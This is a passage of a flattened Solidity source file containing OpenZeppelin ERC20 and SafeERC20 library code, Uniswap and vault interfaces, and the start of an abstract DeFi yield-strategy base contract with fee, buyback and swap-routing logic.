* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC3156FlashBorrower {
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
//
interface IVault is IERC20 {
function token() external view returns (address);
function claimInsurance() external; // NOTE: Only yDelegatedVault implements this
function getRatio() external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function earn() external;
function balance() external view returns (uint256);
}
//
//
interface UniswapRouterV2 {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
//
interface IController {
function vaults(address) external view returns (address);
function rewards() external view returns (address);
function devfund() external view returns (address);
function treasury() external view returns (address);
function balanceOf(address) external view returns (uint256);
function withdraw(address, uint256, address) external;
function earn(address, uint256) external;
}
//
interface IMasterchef {
function BONUS_MULTIPLIER() external view returns (uint256);
function add(
uint256 _allocPoint,
address _lpToken,
bool _withUpdate
) external;
function bonusEndBlock() external view returns (uint256);
function deposit(uint256 _pid, uint256 _amount) external;
function dev(address _devaddr) external;
function devFundDivRate() external view returns (uint256);
function devaddr() external view returns (address);
function emergencyWithdraw(uint256 _pid) external;
function getMultiplier(uint256 _from, uint256 _to)
external
view
returns (uint256);
function massUpdatePools() external;
function owner() external view returns (address);
function pendingMM(uint256 _pid, address _user)
external
view
returns (uint256);
function mm() external view returns (address);
function mmPerBlock() external view returns (uint256);
function poolInfo(uint256)
external
view
returns (
address lpToken,
uint256 allocPoint,
uint256 lastRewardBlock,
uint256 accMMPerShare
);
function poolLength() external view returns (uint256);
function renounceOwnership() external;
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) external;
function setBonusEndBlock(uint256 _bonusEndBlock) external;
function setDevFundDivRate(uint256 _devFundDivRate) external;
function setMMPerBlock(uint256 _mmPerBlock) external;
function startBlock() external view returns (uint256);
function totalAllocPoint() external view returns (uint256);
function transferOwnership(address newOwner) external;
function updatePool(uint256 _pid) external;
function userInfo(uint256, address)
external
view
returns (uint256 amount, uint256 rewardDebt);
function withdraw(uint256 _pid, uint256 _amount) external;
function notifyBuybackReward(uint256 _amount) external;
}
// Strategy Contract Basics
abstract contract StrategyBase {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// whitelist to skip withdraw fee, basically for internal composition
mapping(address => bool) public whiteList;
// caller whom this strategy trust
mapping(address => bool) public benignCallers;
// Perfomance fee 30% to buyback
uint256 public performanceFee = 30000;
uint256 public constant performanceMax = 100000;
// Withdrawal fee 0.00% to buyback
// - 0.00% to treasury
// - 0.00% to dev fund
uint256 public treasuryFee = 0;
uint256 public constant treasuryMax = 100000;
uint256 public devFundFee = 0;
uint256 public constant devFundMax = 100000;
// delay yield profit realization
uint256 public delayBlockRequired = 1000;
uint256 public lastHarvestBlock;
uint256 public lastHarvestInWant;
// buyback ready
bool public buybackEnabled = true;
address public mmToken = 0xa283aA7CfBB27EF0cfBcb2493dD9F4330E0fd304;
address public masterChef = 0xf8873a6080e8dbF41ADa900498DE0951074af577;
//curve rewards
address public crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
// Tokens
address public want;
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// buyback coins
address public constant usdcBuyback = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant crxBuyback = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B;
// User accounts
address public governance;
address public controller;
address public strategist;
address public timelock;
// Dex
address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
//Sushi
address public sushiRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
constructor(
address _want,
address _governance,
address _strategist,
address _controller,
address _timelock
) public {
require(_want != address(0));
require(_governance != address(0));
require(_strategist != address(0));
require(_controller != address(0));
require(_timelock != address(0));
want = _want;
governance = _governance;
strategist = _strategist;
controller = _controller;
timelock = _timelock;
}
// **** Modifiers **** //
modifier onlyBenevolent {
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-3074.md#allowing-txorigin-as-signer
require(msg.sender == governance || msg.sender == strategist);
_;
}
modifier onlyBenignCallers {
require(msg.sender == governance || msg.sender == strategist || benignCallers[msg.sender]);
_;
}
// **** Views **** //
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfPool() public virtual view returns (uint256);
function balanceOf() public view returns (uint256) {
uint256 delayReduction;
uint256 currentBlock = block.number;
if (delayBlockRequired > 0 && lastHarvestInWant > 0 && currentBlock.sub(lastHarvestBlock) < delayBlockRequired){
uint256 diffBlock = lastHarvestBlock.add(delayBlockRequired).sub(currentBlock);
delayReduction = lastHarvestInWant.mul(diffBlock).mul(1e18).div(delayBlockRequired).div(1e18);
}
return balanceOfWant().add(balanceOfPool()).sub(delayReduction);
}
function getName() external virtual pure returns (string memory);
// **** Setters **** //
function setBenignCallers(address _caller, bool _enabled) external{
require(msg.sender == governance, "!governance");
benignCallers[_caller] = _enabled;
}
function setDelayBlockRequired(uint256 _delayBlockRequired) external {
require(msg.sender == governance, "!governance");
delayBlockRequired = _delayBlockRequired;
}
function setDevFundFee(uint256 _devFundFee) external {
require(msg.sender == timelock, "!timelock");
devFundFee = _devFundFee;
}
function setTreasuryFee(uint256 _treasuryFee) external {
require(msg.sender == timelock, "!timelock");
treasuryFee = _treasuryFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == timelock, "!timelock");
performanceFee = _performanceFee;
}
function setStrategist(address _strategist) external {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setTimelock(address _timelock) external {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
function setController(address _controller) external {
require(msg.sender == timelock, "!timelock");
controller = _controller;
}
function setMmToken(address _mmToken) external {
require(msg.sender == governance, "!governance");
mmToken = _mmToken;
}
function setBuybackEnabled(bool _buybackEnabled) external {
require(msg.sender == governance, "!governance");
buybackEnabled = _buybackEnabled;
}
function setMasterChef(address _masterChef) external {
require(msg.sender == governance, "!governance");
masterChef = _masterChef;
}
function setUniRoute(address _route) external {
require(msg.sender == governance, "!governance");
univ2Router2 = _route;
}
function setSushiRoute(address _route) external {
require(msg.sender == governance, "!governance");
sushiRouter = _route;
}
// **** State mutations **** //
function deposit() public virtual;
function withdraw(IERC20 _asset) external virtual returns (uint256 balance);
// Controller only function for creating additional rewards from dust
function _withdrawNonWantAsset(IERC20 _asset) internal returns (uint256 balance) {
require(msg.sender == controller, "!controller");
require(want != address(_asset), "want");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
uint256 _feeDev = _amount.mul(devFundFee).div(devFundMax);
uint256 _feeTreasury = _amount.mul(treasuryFee).div(treasuryMax);
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
if (buybackEnabled == true && (_feeDev > 0 || _feeTreasury > 0)) {
// we want buyback mm using LP token
(address _buybackPrinciple, uint256 _buybackAmount) = _convertWantToBuyback(_feeDev.add(_feeTreasury));
buybackAndNotify(_buybackPrinciple, _buybackAmount);
} else {
IERC20(want).safeTransfer(IController(controller).devfund(), _feeDev);
IERC20(want).safeTransfer(IController(controller).treasury(), _feeTreasury);
}
IERC20(want).safeTransfer(_vault, _amount.sub(_feeDev).sub(_feeTreasury));
}
// buyback MM and notify MasterChef
function buybackAndNotify(address _buybackPrinciple, uint256 _buybackAmount) internal {
if (buybackEnabled == true && _buybackAmount > 0) {
_swapUniswap(_buybackPrinciple, mmToken, _buybackAmount);
uint256 _mmBought = IERC20(mmToken).balanceOf(address(this));
IERC20(mmToken).safeTransfer(masterChef, _mmBought);
IMasterchef(masterChef).notifyBuybackReward(_mmBought);
}
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
_withdrawAll();
balance = IERC20(want).balanceOf(address(this));
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function _withdrawAll() internal {
_withdrawSome(balanceOfPool());
}
function setWhiteList(address _user, bool _skipWithdrawFee) public {
require(msg.sender == governance, "!governance");
whiteList[_user] = _skipWithdrawFee;
}
function _withdrawSome(uint256 _amount) internal virtual returns (uint256);
// convert LP to buyback principle token
function _convertWantToBuyback(uint256 _lpAmount) internal virtual returns (address, uint256);
// each harvest need to update `lastHarvestBlock=block.number` and `lastHarvestInWant=yield profit converted to want for re-invest`
function harvest() public virtual;
// **** Emergency functions ****
function execute(address _target, bytes memory _data)
public
payable
returns (bytes memory response)
{
require(msg.sender == timelock, "!timelock");
require(_target != address(0), "!target");
// call contract in current context
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
0
)
let size := returndatasize()
response := mload(0x40)
mstore(
0x40,
add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))
)
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
}
// **** Internal functions ****
function figureOutPath(address _from, address _to, uint256 _amount) public view returns (bool useSushi, address[] memory swapPath){
address[] memory path;
address[] memory sushipath;
if (_to == mmToken && buybackEnabled == true) {
if (_from == usdcBuyback){
path = new address[](2);
path[0] = _from;
path[1] = _to;
}else if (_from == weth){
path = new address[](2);
path[0] = _from;
path[1] = _to;
sushipath = new address[](2);
sushipath[0] = _from;
sushipath[1] = _to;
}else if(_from == crxBuyback){
sushipath = new address[](3);
sushipath[0] = _from;
sushipath[1] = weth;
sushipath[2] = _to;
path = new address[](3);
path[0] = _from;
path[1] = weth;
path[2] = _to;
}else{
path = new address[](3);
path[0] = _from;
path[1] = usdcBuyback;
path[2] = _to;
}
} else{
if (_from == weth || _to == weth) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
}else{
path = new address[](3);
path[0] = _from;
path[1] = weth;
path[2] = _to;
}
}
uint256 _sushiOut = sushipath.length > 0? UniswapRouterV2(sushiRouter).getAmountsOut(_amount, sushipath)[sushipath.length - 1] : 0;
uint256 _uniOut = sushipath.length > 0? UniswapRouterV2(univ2Router2).getAmountsOut(_amount, path)[path.length - 1] : 1;
bool useSushi = _sushiOut > _uniOut? true : false;
address[] memory swapPath = useSushi ? sushipath : path;
return (useSushi, swapPath);
}
function _swapUniswapWithRouterMinOut(
address _from,
address _to,
uint256 _amount,
uint256 _amountOutMin,
address _router
) internal {
(, address[] memory swapPath) = figureOutPath(_from, _to, _amount);
_swapUniswapWithDetailConfig(_from, _to, _amount, _amountOutMin, swapPath, _router);
}
function _swapUniswapWithRouter(
address _from,
address _to,
uint256 _amount,
address _router
) internal {
(, address[] memory swapPath) = figureOutPath(_from, _to, _amount);
_swapUniswapWithDetailConfig(_from, _to, _amount, 1, swapPath, _router);
}
function _swapUniswap(
address _from,
address _to,
uint256 _amount
) internal {
(bool useSushi, address[] memory swapPath) = figureOutPath(_from, _to, _amount);
